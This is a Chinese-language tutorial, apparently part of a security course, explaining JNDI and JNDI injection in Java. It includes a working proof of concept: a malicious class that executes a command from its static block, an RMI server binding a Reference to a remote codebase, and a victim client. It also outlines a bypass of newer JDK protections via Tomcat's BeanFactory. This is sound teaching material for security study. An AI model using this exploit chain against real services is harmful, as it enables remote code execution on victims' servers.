0x01 前言
在Java反序列化漏洞挖掘或利用的时候经常会遇到RMI、JNDI、JRMP这些概念，其中RMI是一个基于序列化的Java远程方法调用机制。作为一个常见的反序列化入口，它和反序列化漏洞有着千丝万缕的联系。除了直接攻击RMI服务接口外（比如：CVE-2017-3241），我们在构造反序列化漏洞利用时也可以结合RMI方便的实现远程代码执行。
我们在之前的课程中说到过动态类的加载，而jndi注入就是利用动态类的加载来完成攻击的，在这之前，我们先来了解一下jndi注入的基础知识
0x02 啥是jndi
JNDI是 Java 命名与目录接口（Java Naming and Directory Interface），在J2EE规范中是重要的规范之一，有不少大佬可能认为，没有透彻理解JNDI的意义和作用，就没有真正掌握J2EE特别是EJB的知识。
我们来举个常规的JDBC的例子
Connection jdbcconn=null;
try {
Class.forName("com.mysql.jdbc.Driver");
jdbcconn=DriverManager.getConnection("jdbc:mysql://MyDBServer?user=xxx&password=xxx");
......
jdbcconn.close();
} catch(Exception e) {
e.printStackTrace();
} finally {
if(jdbcconn!=null) {
try {
jdbcconn.close();
} catch(SQLException e) {
}
}
这是常规的链接数据库的例子，也是其他语言程序员的常见做法。
优点
- 无可厚非这种方法在小规模的开发过程中不会有任何影响，只要程序员熟悉Java和Mysql，就可以很快开发出相应的程序。
缺点
1、数据库服务器地址和名称 、用户名和口令都可能需要改变，由此引发JDBC URL需要修改；
2、数据库可能改用别的产品，如改用DB2或者Oracle，引发JDBC驱动程序包和类名需要修改；
3、随着实际使用终端的增加，原配置的连接池参数可能需要调整；
如何解决
在对于Java这种强抽象模式的编程语言来说，肯定不会允许这么LowB的存在，程序员不应该关注后台的数据库是啥，版本是多少。所以为了统一化管理，就诞生了JNDI
0x03 使用JNDI
在一开始很多人都会被jndi、rmi这些词汇搞的晕头转向，而且很多文章中提到了可以用jndi调用rmi,就更容易让人发昏了。我们只要知道jndi是对各种访问目录服务的逻辑进行了再封装,也就是以前我们访问rmi与ldap要写的代码差别很大，但是有了jndi这一层，我们就可以用jndi的方式来轻松访问rmi或者ldap服务，这样访问不同的服务的代码实现基本是一样的。
代码实现
JNDI中有绑定和查找的方法：
- bind：将第一个参数绑定到第二个参数的对象上面
- lookup：通过提供的名称查找对象
我们来举个例子：
IHello.java
package com.evalshell.jndi;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface IHello extends Remote {
public String SayHello(String name) throws RemoteException;
}
IHelloImpl.java
package com.evalshell.jndi;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class IHelloImpl extends UnicastRemoteObject implements IHello {
public IHelloImpl() throws RemoteException {
super();
}
@Override
public String SayHello(String name) throws RemoteException {
return "Hello " + name;
}
}
CallService.java
package com.evalshell.jndi;
import javax.naming.Context;
import javax.naming.InitialContext;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Properties;
public class CallService {
public static void main(String[] args) throws Exception{
Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
Context ctx = new InitialContext(env);
Registry registry = LocateRegistry.createRegistry(1099);
IHello hello = new IHelloImpl();
registry.bind("hello", hello);
IHello rhello = (IHello) ctx.lookup("rmi://localhost:1099/hello");
System.out.println(rhello.SayHello("fengxuan"));
}
}
由于上面的代码将服务端与客户端写到了一起，所以看着不那么清晰，我看到很多文章里吧JNDI工厂初始化这一步操作划分到了服务端，我觉得是错误的，配置jndi工厂与jndi的url和端口应该是客户端的事情。
可以对比一下前几章的rmi demo与这里的jndi demo访问远程对象的区别，加深理解
JNDI注入
注入的原理
我们来到JNDI注入的核心部分，关于JNDI注入，@pwntester在BlackHat上的讲义中写的已经很详细。我们这里重点讲一下和RMI反序列化相关的部分。接触过JNDI注入的同学可能会疑问，不应该是RMI服务器最终执行远程方法吗，为什么目标服务器lookup()一个恶意的RMI服务地址，会被执行恶意代码呢？
在JNDI服务中，RMI服务端除了直接绑定远程对象之外，还可以通过References类来绑定一个外部的远程对象（当前名称目录系统之外的对象）。绑定了Reference之后，服务端会先通过Referenceable.getReference()获取绑定对象的引用，并且在目录中保存。当客户端在lookup()查找这个远程对象时，客户端会获取相应的object factory，最终通过factory类将reference转换为具体的对象实例。
整个利用流程如下：
- 目标代码中调用了InitialContext.lookup(URI)，且URI为用户可控；
- 攻击者控制URI参数为恶意的RMI服务地址，如：rmi://hacker_rmi_server//name；
- 攻击者RMI服务器向目标返回一个Reference对象，Reference对象中指定某个精心构造的Factory类；
- 目标在进行lookup()操作时，会动态加载并实例化Factory类，接着调用factory.getObjectInstance()获取外部远程对象实例；
- 攻击者可以在Factory类文件的构造方法、静态代码块、getObjectInstance()方法等处写入恶意代码，达到RCE的效果；
在这里，攻击目标扮演的相当于是JNDI客户端的角色，攻击者通过搭建一个恶意的RMI服务端来实施攻击。我们跟入lookup()函数的代码中，可以看到JNDI中对Reference类的处理逻辑，最终会调用NamingManager.getObjectInstance()：
实战案例
-
首先创建一个恶意的对象
package com.evalshell.jndi; import javax.lang.model.element.Name; import javax.naming.Context; import java.io.BufferedInputStream; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.util.HashMap; public class BadObject { public static void exec(String cmd) throws IOException { String sb = ""; BufferedInputStream bufferedInputStream = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream()); BufferedReader inBr = new BufferedReader(new InputStreamReader(bufferedInputStream)); String lineStr; while((lineStr = inBr.readLine()) != null){ sb += lineStr+"\n"; } inBr.close(); inBr.close(); } public Object getObjectInstance(Object obj, Name name, Context context, HashMap<?, ?> environment) throws Exception{ return null; } static { try{ exec("gnome-calculator"); }catch (Exception e){ e.printStackTrace(); } } }
可以看到这里利用的是static代码块执行命令
- 创建rmi服务端，绑定恶意的Reference到rmi注册表
package com.evalshell.jndi;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Server {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1100);
String url = "http://127.0.0.1:7777/";
System.out.println("Create RMI registry on port 1100");
Reference reference = new Reference("EvilObj", "EvilObj", url);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("evil", referenceWrapper);
}
}
-
创建一个客户端（受害者）
package com.evalshell.jndi; import javax.naming.Context; import javax.naming.InitialContext; import javax.naming.NamingException; public class Client { public static void main(String[] args) throws NamingException { Context context = new InitialContext(); context.lookup("rmi://localhost:1100/evil"); } }可以看到这里的lookup方法的参数是指向我设定的恶意rmi地址的。
然后先编译该项目，生成class文件，然后在class文件目录下用python启动一个简单的HTTP Server:
python -m SimpleHTTPServer 7777执行上述命令就会在7777端口、当前目录下运行一个HTTP Server：
image然后运行Server端，启动rmi registry服务
image
如果是JDK1.7的版本，就可以运行成功
JDK1.8 最后运行报错
而此时使用JNDI Server返回恶意Reference是可以成功利用的，因为JDK 8u191以后才对LDAP JNDI Reference进行了限制。
Tips: 测试过程中有个细节，我们在JDK 8u102中使用RMI Server + JNDI Reference可以成功利用，而此时我们手工将 com.sun.jndi.rmi.object.trustURLCodebase 等属性设置为false，并不会如预期一样有高版本JDK的限制效果出现，Payload依然可以利用。
绕过高版本JDK限制：利用本地Class作为Reference Factory
在高版本中（如：JDK8u191以上版本）虽然不能从远程加载恶意的Factory，但是我们依然可以在返回的Reference中指定Factory Class，这个工厂类必须在受害目标本地的CLASSPATH中。工厂类必须实现 javax.naming.spi.ObjectFactory 接口，并且至少存在一个 getObjectInstance() 方法。org.apache.naming.factory.BeanFactory 刚好满足条件并且存在被利用的可能。org.apache.naming.factory.BeanFactory 存在于Tomcat依赖包中，所以使用也是非常广泛。
org.apache.naming.factory.BeanFactory 在 getObjectInstance() 中会通过反射的方式实例化Reference所指向的任意Bean Class，并且会调用setter方法为所有的属性赋值。而该Bean Class的类名、属性、属性值，全都来自于Reference对象，均是攻击者可控的。
